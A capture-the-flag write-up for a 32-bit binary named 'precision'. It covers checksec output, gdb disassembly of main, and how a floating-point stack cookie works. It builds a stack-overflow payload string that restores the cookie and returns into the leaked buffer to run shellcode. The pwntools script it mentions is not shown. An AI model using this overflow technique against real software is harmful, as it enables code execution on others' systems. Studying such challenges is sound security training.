Challenge: precision


I start by doing a quick file and checksec

$ file ./precision
precision: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.24, BuildID[sha1]=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped
$ checksec ./precision
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

I can see from the results of checksec that this 32-bit binary doesn’t have any protections enabled. I run it once to see whats the binary doing.

$ ./precision
Buff: 0xffb40f28

When running the binary, it prints address of a buffer then it takes input. After sending input “AAAA\n”, input gets printed back on the console and process terminates.
Considering we are dealing with a string echo here. I tried providing “%x\n” in the input.

$ ./precision
Buff: 0xffb40f28
Got %x

So no format string vulnerability here. Then for the last black box test I provided a large string as input.

$ python -c 'print "A"*2000' | ./precision
Buff: 0xffa02b18

It didn’t work either. Time to start real reversing.
Now opening binary in IDA makes it a little too easy so I will do it with gdb-peda pdisass to make it interesting.

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0804851d <+0>:	push   ebp
   0x0804851e <+1>:	mov    ebp,esp
   0x08048520 <+3>:	and    esp,0xfffffff0
   0x08048523 <+6>:	sub    esp,0xa0
   0x08048529 <+12>:	fld    QWORD PTR ds:0x8048690
   0x0804852f <+18>:	fstp   QWORD PTR [esp+0x98] # cookie
   0x08048536 <+25>:	mov    eax,ds:0x804a040
   0x0804853b <+30>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048543 <+38>:	mov    DWORD PTR [esp+0x8],0x2
   0x0804854b <+46>:	mov    DWORD PTR [esp+0x4],0x0
   0x08048553 <+54>:	mov    DWORD PTR [esp],eax
   0x08048556 <+57>:	call   0x8048400 <setvbuf@plt>
   0x0804855b <+62>:	lea    eax,[esp+0x18] # Buff
   0x0804855f <+66>:	mov    DWORD PTR [esp+0x4],eax
   0x08048563 <+70>:	mov    DWORD PTR [esp],0x8048678
   0x0804856a <+77>:	call   0x80483b0 <printf@plt>
   0x0804856f <+82>:	lea    eax,[esp+0x18]
   0x08048573 <+86>:	mov    DWORD PTR [esp+0x4],eax
   0x08048577 <+90>:	mov    DWORD PTR [esp],0x8048682
   0x0804857e <+97>:	call   0x8048410 <__isoc99_scanf@plt>
   0x08048583 <+102>:	fld    QWORD PTR [esp+0x98]
   0x0804858a <+109>:	fld    QWORD PTR ds:0x8048690
   0x08048590 <+115>:	fucomip st,st(1)
   0x08048592 <+117>:	fstp   st(0)
   0x08048594 <+119>:	jp     0x80485a9 <main+140>
   0x08048596 <+121>:	fld    QWORD PTR [esp+0x98]
   0x0804859d <+128>:	fld    QWORD PTR ds:0x8048690
   0x080485a3 <+134>:	fucomip st,st(1)
   0x080485a5 <+136>:	fstp   st(0)
   0x080485a7 <+138>:	je     0x80485c1 <main+164>
   0x080485a9 <+140>:	mov    DWORD PTR [esp],0x8048685
   0x080485b0 <+147>:	call   0x80483c0 <puts@plt>
   0x080485b5 <+152>:	mov    DWORD PTR [esp],0x1
   0x080485bc <+159>:	call   0x80483e0 <exit@plt>
   0x080485c1 <+164>:	mov    eax,ds:0x804a030
   0x080485c6 <+169>:	lea    edx,[esp+0x18]
   0x080485ca <+173>:	mov    DWORD PTR [esp+0x4],edx
   0x080485ce <+177>:	mov    DWORD PTR [esp],eax
   0x080485d1 <+180>:	call   0x80483b0 <printf@plt>
   0x080485d6 <+185>:	leave  
   0x080485d7 <+186>:	ret    
End of assembler dump.

After the function prologue I can see some interesting instructions (fld, fstp). These instructions are used for handling floating point values. In a summary we can say that it takes a floating point value from ds:0x8048690 and puts it in a local variable ([esp+0x98]). After this stdout is cleared from a typical setvbuf call. “Buff: 0xXXXXXXXX” gets printed on the console and __isoc99_scanf starts waiting for the input. Then it compares the value in local variable ([esp+0x98]) to ds:0x8048690 and it both values are not same it prints “Nope” and exits. But if the values are the same then it prints “Got string_input” and main returns. So clearly this custom logic is placed to have a check for buffer overflow vulnerable __isoc99_scanf function.


To exploit buffer overflow in __isoc99_scanf, I first have to bypass custom stack cookie logic in place. For this I can just look up the 8 bytes (floating point values are represented by 8 bytes in memory) value on ds:0x8048690 and while overflowing the local variable (stack cookie) provide the same value.

gdb-peda$ x/gx 0x8048690
0x8048690:	0x40501555475a31a5

Now we can craft our simple stack based overflow payload. Offset between our Buff and cookie local variable is 0x80.

"A"*0x80 + "\xa5\x31\x5a\x47" + "\x55\x15\x50\x40"
I can add cyclic pattern from gdb-peda in above payload to determine offset to return address on stack, that is 12 here.
"A"*0x80 + "\xa5\x31\x5a\x47" + "\x55\x15\x50\x40" + "B"*12 + "XXXX"
Here I can replace return address “XXXX” to address of our input buffer (Buff) provided when running the binary. And start of the payload buffer have be converted into a shellcode that will give us a shell.
This pwntools script will be doing all thing automated for us.